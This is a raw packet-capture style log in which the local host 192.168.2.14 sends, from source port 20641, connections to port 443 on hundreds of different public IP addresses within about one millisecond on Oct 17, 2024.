Oct 17, 2024 02:19:47.168440104 CEST	20641	443	192.168.2.14	79.86.66.251
Oct 17, 2024 02:19:47.168448925 CEST	20641	443	192.168.2.14	117.127.32.246
Oct 17, 2024 02:19:47.168448925 CEST	20641	443	192.168.2.14	2.154.231.30
Oct 17, 2024 02:19:47.168448925 CEST	20641	443	192.168.2.14	202.46.113.89
Oct 17, 2024 02:19:47.168456078 CEST	20641	443	192.168.2.14	94.88.102.15
Oct 17, 2024 02:19:47.168457031 CEST	20641	443	192.168.2.14	2.0.228.153
Oct 17, 2024 02:19:47.168457985 CEST	20641	443	192.168.2.14	212.214.168.158
Oct 17, 2024 02:19:47.168457031 CEST	20641	443	192.168.2.14	37.159.232.93
Oct 17, 2024 02:19:47.168457985 CEST	20641	443	192.168.2.14	202.40.119.101
Oct 17, 2024 02:19:47.168459892 CEST	20641	443	192.168.2.14	94.197.166.79
Oct 17, 2024 02:19:47.168459892 CEST	20641	443	192.168.2.14	109.27.144.191
Oct 17, 2024 02:19:47.168459892 CEST	20641	443	192.168.2.14	94.139.183.181
Oct 17, 2024 02:19:47.168464899 CEST	20641	443	192.168.2.14	212.132.48.72
Oct 17, 2024 02:19:47.168464899 CEST	20641	443	192.168.2.14	123.176.238.96
Oct 17, 2024 02:19:47.168477058 CEST	20641	443	192.168.2.14	37.113.72.112
Oct 17, 2024 02:19:47.168477058 CEST	20641	443	192.168.2.14	118.17.115.45
Oct 17, 2024 02:19:47.168477058 CEST	20641	443	192.168.2.14	148.221.179.75
Oct 17, 2024 02:19:47.168481112 CEST	20641	443	192.168.2.14	5.193.159.9
Oct 17, 2024 02:19:47.168481112 CEST	20641	443	192.168.2.14	212.62.14.244
Oct 17, 2024 02:19:47.168483019 CEST	20641	443	192.168.2.14	94.127.79.228
Oct 17, 2024 02:19:47.168481112 CEST	20641	443	192.168.2.14	212.34.33.211
Oct 17, 2024 02:19:47.168483019 CEST	20641	443	192.168.2.14	109.170.158.164
Oct 17, 2024 02:19:47.168481112 CEST	20641	443	192.168.2.14	178.235.7.160
Oct 17, 2024 02:19:47.168500900 CEST	20641	443	192.168.2.14	42.166.67.11
Oct 17, 2024 02:19:47.168502092 CEST	20641	443	192.168.2.14	94.219.76.145
Oct 17, 2024 02:19:47.168502092 CEST	20641	443	192.168.2.14	118.126.70.124
Oct 17, 2024 02:19:47.168502092 CEST	20641	443	192.168.2.14	178.119.150.140
Oct 17, 2024 02:19:47.168500900 CEST	20641	443	192.168.2.14	178.150.26.44
Oct 17, 2024 02:19:47.168502092 CEST	20641	443	192.168.2.14	210.112.171.58
Oct 17, 2024 02:19:47.168514013 CEST	20641	443	192.168.2.14	178.147.92.46
Oct 17, 2024 02:19:47.168514013 CEST	20641	443	192.168.2.14	94.183.150.19
Oct 17, 2024 02:19:47.168514013 CEST	20641	443	192.168.2.14	37.13.64.165
Oct 17, 2024 02:19:47.168515921 CEST	20641	443	192.168.2.14	42.150.64.106
Oct 17, 2024 02:19:47.168515921 CEST	20641	443	192.168.2.14	2.208.163.114
Oct 17, 2024 02:19:47.168517113 CEST	20641	443	192.168.2.14	2.6.2.87
Oct 17, 2024 02:19:47.168515921 CEST	20641	443	192.168.2.14	79.116.248.232
Oct 17, 2024 02:19:47.168517113 CEST	20641	443	192.168.2.14	178.154.4.199
Oct 17, 2024 02:19:47.168514967 CEST	20641	443	192.168.2.14	123.240.52.210
Oct 17, 2024 02:19:47.168518066 CEST	20641	443	192.168.2.14	210.37.163.116
Oct 17, 2024 02:19:47.168515921 CEST	20641	443	192.168.2.14	79.141.158.135
Oct 17, 2024 02:19:47.168514013 CEST	20641	443	192.168.2.14	202.205.214.221
Oct 17, 2024 02:19:47.168517113 CEST	20641	443	192.168.2.14	79.127.125.125
Oct 17, 2024 02:19:47.168528080 CEST	20641	443	192.168.2.14	79.112.166.4
Oct 17, 2024 02:19:47.168517113 CEST	20641	443	192.168.2.14	202.7.14.36
Oct 17, 2024 02:19:47.168514967 CEST	20641	443	192.168.2.14	109.207.245.29
Oct 17, 2024 02:19:47.168517113 CEST	20641	443	192.168.2.14	94.167.74.118
Oct 17, 2024 02:19:47.168514967 CEST	20641	443	192.168.2.14	37.212.99.177
Oct 17, 2024 02:19:47.168540001 CEST	20641	443	192.168.2.14	79.175.172.178
Oct 17, 2024 02:19:47.168540001 CEST	20641	443	192.168.2.14	178.245.50.23
Oct 17, 2024 02:19:47.168540955 CEST	20641	443	192.168.2.14	202.159.64.198
Oct 17, 2024 02:19:47.168545008 CEST	20641	443	192.168.2.14	42.131.248.48
Oct 17, 2024 02:19:47.168553114 CEST	20641	443	192.168.2.14	123.90.122.85
Oct 17, 2024 02:19:47.168555975 CEST	20641	443	192.168.2.14	37.95.112.71
Oct 17, 2024 02:19:47.168556929 CEST	20641	443	192.168.2.14	37.49.79.241
Oct 17, 2024 02:19:47.168557882 CEST	20641	443	192.168.2.14	117.115.2.161
Oct 17, 2024 02:19:47.168557882 CEST	20641	443	192.168.2.14	210.133.57.204
Oct 17, 2024 02:19:47.168557882 CEST	20641	443	192.168.2.14	202.187.105.136
Oct 17, 2024 02:19:47.168559074 CEST	20641	443	192.168.2.14	202.110.94.113
Oct 17, 2024 02:19:47.168557882 CEST	20641	443	192.168.2.14	94.206.19.203
Oct 17, 2024 02:19:47.168557882 CEST	20641	443	192.168.2.14	202.245.227.215
Oct 17, 2024 02:19:47.168557882 CEST	20641	443	192.168.2.14	109.52.223.209
Oct 17, 2024 02:19:47.168557882 CEST	20641	443	192.168.2.14	79.106.240.38
Oct 17, 2024 02:19:47.168559074 CEST	20641	443	192.168.2.14	94.193.100.217
Oct 17, 2024 02:19:47.168574095 CEST	20641	443	192.168.2.14	148.170.12.118
Oct 17, 2024 02:19:47.168576002 CEST	20641	443	192.168.2.14	42.3.24.131
Oct 17, 2024 02:19:47.168576956 CEST	20641	443	192.168.2.14	109.185.172.137
Oct 17, 2024 02:19:47.168577909 CEST	20641	443	192.168.2.14	94.143.173.222
Oct 17, 2024 02:19:47.168577909 CEST	20641	443	192.168.2.14	109.91.22.33
Oct 17, 2024 02:19:47.168581009 CEST	20641	443	192.168.2.14	79.236.55.195
Oct 17, 2024 02:19:47.168584108 CEST	20641	443	192.168.2.14	212.156.37.141
Oct 17, 2024 02:19:47.168584108 CEST	20641	443	192.168.2.14	210.175.1.136
Oct 17, 2024 02:19:47.168592930 CEST	20641	443	192.168.2.14	94.98.226.189
Oct 17, 2024 02:19:47.168592930 CEST	20641	443	192.168.2.14	42.96.129.213
Oct 17, 2024 02:19:47.168598890 CEST	20641	443	192.168.2.14	148.223.77.15
Oct 17, 2024 02:19:47.168601990 CEST	20641	443	192.168.2.14	210.110.193.150
Oct 17, 2024 02:19:47.168602943 CEST	20641	443	192.168.2.14	212.42.131.12
Oct 17, 2024 02:19:47.168605089 CEST	20641	443	192.168.2.14	123.57.214.91
Oct 17, 2024 02:19:47.168605089 CEST	20641	443	192.168.2.14	123.13.113.154
Oct 17, 2024 02:19:47.168613911 CEST	20641	443	192.168.2.14	123.32.212.70
Oct 17, 2024 02:19:47.168613911 CEST	20641	443	192.168.2.14	118.233.248.170
Oct 17, 2024 02:19:47.168618917 CEST	20641	443	192.168.2.14	109.162.239.52
Oct 17, 2024 02:19:47.168618917 CEST	20641	443	192.168.2.14	79.42.231.121
Oct 17, 2024 02:19:47.168629885 CEST	20641	443	192.168.2.14	37.162.194.113
Oct 17, 2024 02:19:47.168644905 CEST	20641	443	192.168.2.14	37.253.215.122
Oct 17, 2024 02:19:47.168648005 CEST	20641	443	192.168.2.14	5.145.74.128
Oct 17, 2024 02:19:47.168648005 CEST	20641	443	192.168.2.14	117.46.106.121
Oct 17, 2024 02:19:47.168634892 CEST	20641	443	192.168.2.14	118.16.175.41
Oct 17, 2024 02:19:47.168634892 CEST	20641	443	192.168.2.14	123.250.32.41
Oct 17, 2024 02:19:47.168634892 CEST	20641	443	192.168.2.14	42.29.83.114
Oct 17, 2024 02:19:47.168634892 CEST	20641	443	192.168.2.14	117.124.90.100
Oct 17, 2024 02:19:47.168634892 CEST	20641	443	192.168.2.14	79.72.4.6
Oct 17, 2024 02:19:47.168634892 CEST	20641	443	192.168.2.14	37.253.209.83
Oct 17, 2024 02:19:47.168659925 CEST	20641	443	192.168.2.14	79.174.239.199
Oct 17, 2024 02:19:47.168661118 CEST	20641	443	192.168.2.14	79.179.21.33
Oct 17, 2024 02:19:47.168661118 CEST	20641	443	192.168.2.14	109.253.240.125
Oct 17, 2024 02:19:47.168659925 CEST	20641	443	192.168.2.14	42.233.72.80
Oct 17, 2024 02:19:47.168661118 CEST	20641	443	192.168.2.14	212.107.178.206
Oct 17, 2024 02:19:47.168670893 CEST	20641	443	192.168.2.14	94.134.136.248
Oct 17, 2024 02:19:47.168674946 CEST	20641	443	192.168.2.14	202.148.231.163
Oct 17, 2024 02:19:47.168678045 CEST	20641	443	192.168.2.14	109.164.120.36
Oct 17, 2024 02:19:47.168678999 CEST	20641	443	192.168.2.14	94.79.145.237
Oct 17, 2024 02:19:47.168685913 CEST	20641	443	192.168.2.14	5.21.228.39
Oct 17, 2024 02:19:47.168697119 CEST	20641	443	192.168.2.14	178.220.135.212
Oct 17, 2024 02:19:47.168699026 CEST	20641	443	192.168.2.14	2.200.115.237
Oct 17, 2024 02:19:47.168699026 CEST	20641	443	192.168.2.14	42.195.101.132
Oct 17, 2024 02:19:47.168700933 CEST	20641	443	192.168.2.14	94.135.159.42
Oct 17, 2024 02:19:47.168704033 CEST	20641	443	192.168.2.14	94.225.171.66
Oct 17, 2024 02:19:47.168704987 CEST	20641	443	192.168.2.14	202.140.148.129
Oct 17, 2024 02:19:47.168704033 CEST	20641	443	192.168.2.14	202.152.65.41
Oct 17, 2024 02:19:47.168704033 CEST	20641	443	192.168.2.14	123.181.226.56
Oct 17, 2024 02:19:47.168716908 CEST	20641	443	192.168.2.14	117.230.133.135
Oct 17, 2024 02:19:47.168716908 CEST	20641	443	192.168.2.14	117.6.69.72
Oct 17, 2024 02:19:47.168725014 CEST	20641	443	192.168.2.14	178.139.144.217
Oct 17, 2024 02:19:47.168725014 CEST	20641	443	192.168.2.14	178.90.97.171
Oct 17, 2024 02:19:47.168725014 CEST	20641	443	192.168.2.14	5.35.48.224
Oct 17, 2024 02:19:47.168728113 CEST	20641	443	192.168.2.14	212.125.208.189
Oct 17, 2024 02:19:47.168728113 CEST	20641	443	192.168.2.14	212.100.253.146
Oct 17, 2024 02:19:47.168736935 CEST	20641	443	192.168.2.14	109.237.92.70
Oct 17, 2024 02:19:47.168736935 CEST	20641	443	192.168.2.14	210.224.42.95
Oct 17, 2024 02:19:47.168739080 CEST	20641	443	192.168.2.14	117.132.230.111
Oct 17, 2024 02:19:47.168745995 CEST	20641	443	192.168.2.14	2.129.113.30
Oct 17, 2024 02:19:47.168745995 CEST	20641	443	192.168.2.14	5.68.49.82
Oct 17, 2024 02:19:47.168747902 CEST	20641	443	192.168.2.14	210.241.44.103
Oct 17, 2024 02:19:47.168747902 CEST	20641	443	192.168.2.14	210.175.245.29
Oct 17, 2024 02:19:47.168747902 CEST	20641	443	192.168.2.14	148.162.35.148
Oct 17, 2024 02:19:47.168756962 CEST	20641	443	192.168.2.14	178.180.77.31
Oct 17, 2024 02:19:47.168756962 CEST	20641	443	192.168.2.14	148.241.177.149
Oct 17, 2024 02:19:47.168757915 CEST	20641	443	192.168.2.14	94.106.196.32
Oct 17, 2024 02:19:47.168761015 CEST	20641	443	192.168.2.14	94.128.20.153
Oct 17, 2024 02:19:47.168761969 CEST	20641	443	192.168.2.14	2.53.56.40
Oct 17, 2024 02:19:47.168762922 CEST	20641	443	192.168.2.14	202.205.206.166
Oct 17, 2024 02:19:47.168762922 CEST	20641	443	192.168.2.14	118.169.159.196
Oct 17, 2024 02:19:47.168760061 CEST	20641	443	192.168.2.14	109.254.44.105
Oct 17, 2024 02:19:47.168764114 CEST	20641	443	192.168.2.14	5.145.41.114
Oct 17, 2024 02:19:47.168772936 CEST	20641	443	192.168.2.14	94.120.214.226
Oct 17, 2024 02:19:47.168775082 CEST	20641	443	192.168.2.14	2.209.204.232
Oct 17, 2024 02:19:47.168780088 CEST	20641	443	192.168.2.14	109.100.21.239
Oct 17, 2024 02:19:47.168780088 CEST	20641	443	192.168.2.14	2.161.174.16
Oct 17, 2024 02:19:47.168781996 CEST	20641	443	192.168.2.14	2.248.67.191
Oct 17, 2024 02:19:47.168782949 CEST	20641	443	192.168.2.14	79.245.108.248
Oct 17, 2024 02:19:47.168797970 CEST	20641	443	192.168.2.14	94.124.231.41
Oct 17, 2024 02:19:47.168801069 CEST	20641	443	192.168.2.14	2.174.142.250
Oct 17, 2024 02:19:47.168802977 CEST	20641	443	192.168.2.14	148.193.239.81
Oct 17, 2024 02:19:47.168802977 CEST	20641	443	192.168.2.14	2.62.209.162
Oct 17, 2024 02:19:47.168802977 CEST	20641	443	192.168.2.14	42.212.83.178
Oct 17, 2024 02:19:47.168803930 CEST	20641	443	192.168.2.14	94.232.204.51
Oct 17, 2024 02:19:47.168803930 CEST	20641	443	192.168.2.14	5.115.236.199
Oct 17, 2024 02:19:47.168813944 CEST	20641	443	192.168.2.14	117.246.65.218
Oct 17, 2024 02:19:47.168813944 CEST	20641	443	192.168.2.14	37.7.89.89
Oct 17, 2024 02:19:47.168813944 CEST	20641	443	192.168.2.14	210.77.192.33
Oct 17, 2024 02:19:47.168813944 CEST	20641	443	192.168.2.14	42.186.76.121
Oct 17, 2024 02:19:47.168822050 CEST	20641	443	192.168.2.14	210.192.38.189
Oct 17, 2024 02:19:47.168822050 CEST	20641	443	192.168.2.14	109.31.126.121
Oct 17, 2024 02:19:47.168823957 CEST	20641	443	192.168.2.14	109.53.244.155
Oct 17, 2024 02:19:47.168827057 CEST	20641	443	192.168.2.14	178.69.199.209
Oct 17, 2024 02:19:47.168827057 CEST	20641	443	192.168.2.14	202.45.222.223
Oct 17, 2024 02:19:47.168827057 CEST	20641	443	192.168.2.14	178.43.81.133
Oct 17, 2024 02:19:47.168827057 CEST	20641	443	192.168.2.14	178.197.214.120
Oct 17, 2024 02:19:47.168833017 CEST	20641	443	192.168.2.14	148.219.220.168
Oct 17, 2024 02:19:47.168833017 CEST	20641	443	192.168.2.14	42.185.133.181
Oct 17, 2024 02:19:47.168833017 CEST	20641	443	192.168.2.14	79.143.30.64
Oct 17, 2024 02:19:47.168848991 CEST	20641	443	192.168.2.14	2.220.219.106
Oct 17, 2024 02:19:47.168848991 CEST	20641	443	192.168.2.14	37.130.84.28
Oct 17, 2024 02:19:47.168848991 CEST	20641	443	192.168.2.14	5.114.96.45
Oct 17, 2024 02:19:47.168854952 CEST	20641	443	192.168.2.14	123.65.55.44
Oct 17, 2024 02:19:47.168858051 CEST	20641	443	192.168.2.14	2.149.196.67
Oct 17, 2024 02:19:47.168859005 CEST	20641	443	192.168.2.14	37.145.242.216
Oct 17, 2024 02:19:47.168859005 CEST	20641	443	192.168.2.14	109.226.79.33
Oct 17, 2024 02:19:47.168859005 CEST	20641	443	192.168.2.14	210.161.249.68
Oct 17, 2024 02:19:47.168869019 CEST	20641	443	192.168.2.14	212.246.33.152
Oct 17, 2024 02:19:47.168869019 CEST	20641	443	192.168.2.14	210.171.3.14
Oct 17, 2024 02:19:47.168869019 CEST	20641	443	192.168.2.14	117.51.168.247
Oct 17, 2024 02:19:47.168874025 CEST	20641	443	192.168.2.14	202.114.44.96
Oct 17, 2024 02:19:47.168874979 CEST	20641	443	192.168.2.14	210.87.154.150
Oct 17, 2024 02:19:47.168874979 CEST	20641	443	192.168.2.14	117.124.70.127
Oct 17, 2024 02:19:47.168874979 CEST	20641	443	192.168.2.14	210.100.191.193
Oct 17, 2024 02:19:47.168883085 CEST	20641	443	192.168.2.14	202.121.62.75
Oct 17, 2024 02:19:47.168885946 CEST	20641	443	192.168.2.14	148.26.231.238
Oct 17, 2024 02:19:47.168885946 CEST	20641	443	192.168.2.14	178.20.192.20
Oct 17, 2024 02:19:47.168900013 CEST	20641	443	192.168.2.14	212.3.248.80
Oct 17, 2024 02:19:47.168909073 CEST	20641	443	192.168.2.14	79.9.220.95
Oct 17, 2024 02:19:47.168910027 CEST	20641	443	192.168.2.14	2.166.95.6
Oct 17, 2024 02:19:47.168911934 CEST	20641	443	192.168.2.14	109.24.172.205
Oct 17, 2024 02:19:47.168911934 CEST	20641	443	192.168.2.14	118.96.70.19
Oct 17, 2024 02:19:47.168912888 CEST	20641	443	192.168.2.14	202.21.69.68
Oct 17, 2024 02:19:47.168912888 CEST	20641	443	192.168.2.14	5.97.95.114
Oct 17, 2024 02:19:47.168912888 CEST	20641	443	192.168.2.14	37.77.223.237
Oct 17, 2024 02:19:47.168919086 CEST	20641	443	192.168.2.14	212.10.219.59
Oct 17, 2024 02:19:47.168919086 CEST	20641	443	192.168.2.14	5.2.18.61
Oct 17, 2024 02:19:47.168927908 CEST	20641	443	192.168.2.14	5.108.115.155
Oct 17, 2024 02:19:47.168941975 CEST	20641	443	192.168.2.14	5.30.218.53
Oct 17, 2024 02:19:47.168941975 CEST	20641	443	192.168.2.14	42.217.171.246
Oct 17, 2024 02:19:47.168947935 CEST	20641	443	192.168.2.14	202.118.210.166
Oct 17, 2024 02:19:47.168947935 CEST	20641	443	192.168.2.14	118.33.229.26
Oct 17, 2024 02:19:47.168948889 CEST	20641	443	192.168.2.14	42.4.218.172
Oct 17, 2024 02:19:47.168948889 CEST	20641	443	192.168.2.14	109.112.95.177
Oct 17, 2024 02:19:47.168952942 CEST	20641	443	192.168.2.14	148.179.152.101
Oct 17, 2024 02:19:47.168967962 CEST	20641	443	192.168.2.14	42.67.191.88
Oct 17, 2024 02:19:47.168967962 CEST	20641	443	192.168.2.14	210.4.88.41
Oct 17, 2024 02:19:47.168977022 CEST	20641	443	192.168.2.14	94.232.56.137
Oct 17, 2024 02:19:47.168977976 CEST	20641	443	192.168.2.14	148.50.186.250
Oct 17, 2024 02:19:47.168977022 CEST	20641	443	192.168.2.14	79.80.2.136
Oct 17, 2024 02:19:47.168977022 CEST	20641	443	192.168.2.14	109.16.171.182
Oct 17, 2024 02:19:47.168977022 CEST	20641	443	192.168.2.14	178.30.147.171
Oct 17, 2024 02:19:47.168977022 CEST	20641	443	192.168.2.14	117.213.106.43
Oct 17, 2024 02:19:47.168987989 CEST	20641	443	192.168.2.14	79.25.201.55
Oct 17, 2024 02:19:47.168987989 CEST	20641	443	192.168.2.14	94.42.138.189
Oct 17, 2024 02:19:47.168996096 CEST	20641	443	192.168.2.14	117.206.99.243
Oct 17, 2024 02:19:47.168996096 CEST	20641	443	192.168.2.14	94.130.39.153
Oct 17, 2024 02:19:47.169004917 CEST	20641	443	192.168.2.14	202.122.201.81
Oct 17, 2024 02:19:47.169007063 CEST	20641	443	192.168.2.14	202.142.87.182
Oct 17, 2024 02:19:47.169004917 CEST	20641	443	192.168.2.14	2.78.181.158
Oct 17, 2024 02:19:47.169009924 CEST	20641	443	192.168.2.14	2.17.252.68
Oct 17, 2024 02:19:47.169009924 CEST	20641	443	192.168.2.14	118.112.205.207
Oct 17, 2024 02:19:47.169004917 CEST	20641	443	192.168.2.14	37.29.229.145
Oct 17, 2024 02:19:47.169004917 CEST	20641	443	192.168.2.14	202.145.80.170
Oct 17, 2024 02:19:47.169014931 CEST	20641	443	192.168.2.14	178.106.64.35
Oct 17, 2024 02:19:47.169017076 CEST	20641	443	192.168.2.14	210.44.192.68
Oct 17, 2024 02:19:47.169029951 CEST	20641	443	192.168.2.14	117.212.23.213
Oct 17, 2024 02:19:47.169029951 CEST	20641	443	192.168.2.14	123.246.27.92
Oct 17, 2024 02:19:47.169029951 CEST	20641	443	192.168.2.14	210.129.155.144
Oct 17, 2024 02:19:47.169029951 CEST	20641	443	192.168.2.14	109.126.61.68
Oct 17, 2024 02:19:47.169029951 CEST	20641	443	192.168.2.14	5.89.190.15
Oct 17, 2024 02:19:47.169029951 CEST	20641	443	192.168.2.14	109.232.58.46
Oct 17, 2024 02:19:47.169029951 CEST	20641	443	192.168.2.14	117.161.78.142
Oct 17, 2024 02:19:47.169039011 CEST	20641	443	192.168.2.14	2.115.214.19
Oct 17, 2024 02:19:47.169043064 CEST	20641	443	192.168.2.14	210.73.237.2
Oct 17, 2024 02:19:47.169043064 CEST	20641	443	192.168.2.14	212.41.56.60
Oct 17, 2024 02:19:47.169044971 CEST	20641	443	192.168.2.14	148.110.16.131
Oct 17, 2024 02:19:47.169044971 CEST	20641	443	192.168.2.14	37.214.56.27
Oct 17, 2024 02:19:47.169058084 CEST	20641	443	192.168.2.14	42.245.213.87
Oct 17, 2024 02:19:47.169058084 CEST	20641	443	192.168.2.14	37.161.183.50
Oct 17, 2024 02:19:47.169060946 CEST	20641	443	192.168.2.14	42.136.171.255
Oct 17, 2024 02:19:47.169061899 CEST	20641	443	192.168.2.14	42.103.99.59
Oct 17, 2024 02:19:47.169060946 CEST	20641	443	192.168.2.14	212.152.199.81
Oct 17, 2024 02:19:47.169061899 CEST	20641	443	192.168.2.14	117.105.206.230
Oct 17, 2024 02:19:47.169070005 CEST	20641	443	192.168.2.14	117.143.192.207
Oct 17, 2024 02:19:47.169070005 CEST	20641	443	192.168.2.14	212.42.113.129
Oct 17, 2024 02:19:47.169070959 CEST	20641	443	192.168.2.14	37.231.87.137
Oct 17, 2024 02:19:47.169079065 CEST	20641	443	192.168.2.14	37.177.64.23
Oct 17, 2024 02:19:47.169089079 CEST	20641	443	192.168.2.14	210.75.201.239
Oct 17, 2024 02:19:47.169090033 CEST	20641	443	192.168.2.14	42.124.24.176
Oct 17, 2024 02:19:47.169100046 CEST	20641	443	192.168.2.14	212.220.253.59
Oct 17, 2024 02:19:47.169102907 CEST	20641	443	192.168.2.14	94.6.43.49
Oct 17, 2024 02:19:47.169106007 CEST	20641	443	192.168.2.14	178.84.147.169
Oct 17, 2024 02:19:47.169106007 CEST	20641	443	192.168.2.14	5.224.195.62
Oct 17, 2024 02:19:47.169109106 CEST	20641	443	192.168.2.14	178.56.23.221
Oct 17, 2024 02:19:47.169109106 CEST	20641	443	192.168.2.14	212.248.120.30
Oct 17, 2024 02:19:47.169130087 CEST	20641	443	192.168.2.14	2.108.179.138
Oct 17, 2024 02:19:47.169130087 CEST	20641	443	192.168.2.14	117.198.63.32
Oct 17, 2024 02:19:47.169131041 CEST	20641	443	192.168.2.14	212.15.233.118
Oct 17, 2024 02:19:47.169133902 CEST	20641	443	192.168.2.14	79.28.92.90
Oct 17, 2024 02:19:47.169133902 CEST	20641	443	192.168.2.14	94.32.6.160
Oct 17, 2024 02:19:47.169137955 CEST	20641	443	192.168.2.14	178.247.201.30
Oct 17, 2024 02:19:47.169140100 CEST	20641	443	192.168.2.14	2.165.152.139
Oct 17, 2024 02:19:47.169140100 CEST	20641	443	192.168.2.14	79.21.224.32
Oct 17, 2024 02:19:47.169140100 CEST	20641	443	192.168.2.14	202.35.249.159
Oct 17, 2024 02:19:47.169140100 CEST	20641	443	192.168.2.14	5.161.80.64
Oct 17, 2024 02:19:47.169150114 CEST	20641	443	192.168.2.14	148.20.66.128
Oct 17, 2024 02:19:47.169150114 CEST	20641	443	192.168.2.14	202.16.4.91
Oct 17, 2024 02:19:47.169156075 CEST	20641	443	192.168.2.14	210.77.251.120
Oct 17, 2024 02:19:47.169156075 CEST	20641	443	192.168.2.14	37.99.2.101
Oct 17, 2024 02:19:47.169157982 CEST	20641	443	192.168.2.14	148.41.132.26
Oct 17, 2024 02:19:47.169157982 CEST	20641	443	192.168.2.14	94.174.54.161
Oct 17, 2024 02:19:47.169173002 CEST	20641	443	192.168.2.14	117.90.28.179
Oct 17, 2024 02:19:47.169173002 CEST	20641	443	192.168.2.14	5.230.247.46
Oct 17, 2024 02:19:47.169173956 CEST	20641	443	192.168.2.14	109.104.144.0
Oct 17, 2024 02:19:47.169174910 CEST	20641	443	192.168.2.14	2.166.51.47
Oct 17, 2024 02:19:47.169173956 CEST	20641	443	192.168.2.14	148.20.127.180
Oct 17, 2024 02:19:47.169173002 CEST	20641	443	192.168.2.14	94.74.173.170
Oct 17, 2024 02:19:47.169184923 CEST	20641	443	192.168.2.14	5.151.72.129
Oct 17, 2024 02:19:47.169186115 CEST	20641	443	192.168.2.14	42.82.103.18
Oct 17, 2024 02:19:47.169187069 CEST	20641	443	192.168.2.14	123.62.64.60
Oct 17, 2024 02:19:47.169188976 CEST	20641	443	192.168.2.14	178.87.198.125
Oct 17, 2024 02:19:47.169188976 CEST	20641	443	192.168.2.14	118.188.185.105
Oct 17, 2024 02:19:47.169190884 CEST	20641	443	192.168.2.14	148.118.144.236
Oct 17, 2024 02:19:47.169190884 CEST	20641	443	192.168.2.14	5.160.93.186
Oct 17, 2024 02:19:47.169190884 CEST	20641	443	192.168.2.14	202.29.38.43
Oct 17, 2024 02:19:47.169212103 CEST	20641	443	192.168.2.14	37.141.64.108
Oct 17, 2024 02:19:47.169214964 CEST	20641	443	192.168.2.14	94.92.230.128
Oct 17, 2024 02:19:47.169215918 CEST	20641	443	192.168.2.14	118.169.138.244
Oct 17, 2024 02:19:47.169215918 CEST	20641	443	192.168.2.14	79.61.25.147
Oct 17, 2024 02:19:47.169217110 CEST	20641	443	192.168.2.14	109.161.58.115
Oct 17, 2024 02:19:47.169215918 CEST	20641	443	192.168.2.14	37.195.210.149
Oct 17, 2024 02:19:47.169217110 CEST	20641	443	192.168.2.14	37.197.212.35
Oct 17, 2024 02:19:47.169215918 CEST	20641	443	192.168.2.14	94.184.119.170
Oct 17, 2024 02:19:47.169217110 CEST	20641	443	192.168.2.14	210.195.252.52
Oct 17, 2024 02:19:47.169215918 CEST	20641	443	192.168.2.14	118.93.143.118
Oct 17, 2024 02:19:47.169215918 CEST	20641	443	192.168.2.14	118.147.47.37
Oct 17, 2024 02:19:47.169228077 CEST	20641	443	192.168.2.14	94.235.231.216
Oct 17, 2024 02:19:47.169229031 CEST	20641	443	192.168.2.14	178.209.204.185
Oct 17, 2024 02:19:47.169215918 CEST	20641	443	192.168.2.14	202.150.200.29
Oct 17, 2024 02:19:47.169215918 CEST	20641	443	192.168.2.14	109.102.217.203
Oct 17, 2024 02:19:47.169217110 CEST	20641	443	192.168.2.14	212.98.23.8
Oct 17, 2024 02:19:47.169215918 CEST	20641	443	192.168.2.14	42.141.132.102
Oct 17, 2024 02:19:47.169218063 CEST	20641	443	192.168.2.14	79.87.211.230
Oct 17, 2024 02:19:47.169240952 CEST	20641	443	192.168.2.14	202.121.31.93
Oct 17, 2024 02:19:47.169240952 CEST	20641	443	192.168.2.14	42.115.16.102
Oct 17, 2024 02:19:47.169250011 CEST	20641	443	192.168.2.14	79.124.191.25
Oct 17, 2024 02:19:47.169250011 CEST	20641	443	192.168.2.14	37.233.8.69
Oct 17, 2024 02:19:47.169250011 CEST	20641	443	192.168.2.14	109.230.152.126
Oct 17, 2024 02:19:47.169250011 CEST	20641	443	192.168.2.14	117.175.55.37
Oct 17, 2024 02:19:47.169250011 CEST	20641	443	192.168.2.14	79.211.188.57
Oct 17, 2024 02:19:47.169250011 CEST	20641	443	192.168.2.14	94.184.91.56
Oct 17, 2024 02:19:47.169250011 CEST	20641	443	192.168.2.14	212.240.105.37
Oct 17, 2024 02:19:47.169260979 CEST	20641	443	192.168.2.14	212.51.204.16
Oct 17, 2024 02:19:47.169261932 CEST	20641	443	192.168.2.14	210.239.6.63
Oct 17, 2024 02:19:47.169260979 CEST	20641	443	192.168.2.14	79.60.19.104
Oct 17, 2024 02:19:47.169264078 CEST	20641	443	192.168.2.14	2.240.204.140
Oct 17, 2024 02:19:47.169264078 CEST	20641	443	192.168.2.14	178.42.89.7
Oct 17, 2024 02:19:47.169264078 CEST	20641	443	192.168.2.14	79.123.167.17
Oct 17, 2024 02:19:47.169276953 CEST	20641	443	192.168.2.14	37.130.23.157
Oct 17, 2024 02:19:47.169277906 CEST	20641	443	192.168.2.14	148.89.191.215
Oct 17, 2024 02:19:47.169280052 CEST	20641	443	192.168.2.14	123.35.164.135
Oct 17, 2024 02:19:47.169284105 CEST	20641	443	192.168.2.14	117.34.228.118
Oct 17, 2024 02:19:47.169284105 CEST	20641	443	192.168.2.14	202.153.88.73
Oct 17, 2024 02:19:47.169286013 CEST	20641	443	192.168.2.14	202.215.209.117
Oct 17, 2024 02:19:47.169289112 CEST	20641	443	192.168.2.14	109.219.5.27
Oct 17, 2024 02:19:47.169289112 CEST	20641	443	192.168.2.14	178.68.57.247
Oct 17, 2024 02:19:47.169290066 CEST	20641	443	192.168.2.14	123.182.152.223
Oct 17, 2024 02:19:47.169296026 CEST	20641	443	192.168.2.14	202.236.78.21
Oct 17, 2024 02:19:47.169290066 CEST	20641	443	192.168.2.14	37.1.151.80
Oct 17, 2024 02:19:47.169290066 CEST	20641	443	192.168.2.14	79.4.81.55
Oct 17, 2024 02:19:47.169300079 CEST	20641	443	192.168.2.14	212.181.50.183
Oct 17, 2024 02:19:47.169301987 CEST	20641	443	192.168.2.14	148.119.0.38
Oct 17, 2024 02:19:47.169301987 CEST	20641	443	192.168.2.14	117.59.16.189
Oct 17, 2024 02:19:47.169317961 CEST	20641	443	192.168.2.14	202.90.62.44
Oct 17, 2024 02:19:47.169323921 CEST	20641	443	192.168.2.14	212.125.130.93
Oct 17, 2024 02:19:47.169325113 CEST	20641	443	192.168.2.14	202.251.38.14
Oct 17, 2024 02:19:47.169325113 CEST	20641	443	192.168.2.14	148.227.63.87
Oct 17, 2024 02:19:47.169327021 CEST	20641	443	192.168.2.14	202.196.149.36
Oct 17, 2024 02:19:47.169327021 CEST	20641	443	192.168.2.14	210.132.228.158
Oct 17, 2024 02:19:47.169327021 CEST	20641	443	192.168.2.14	5.28.90.64
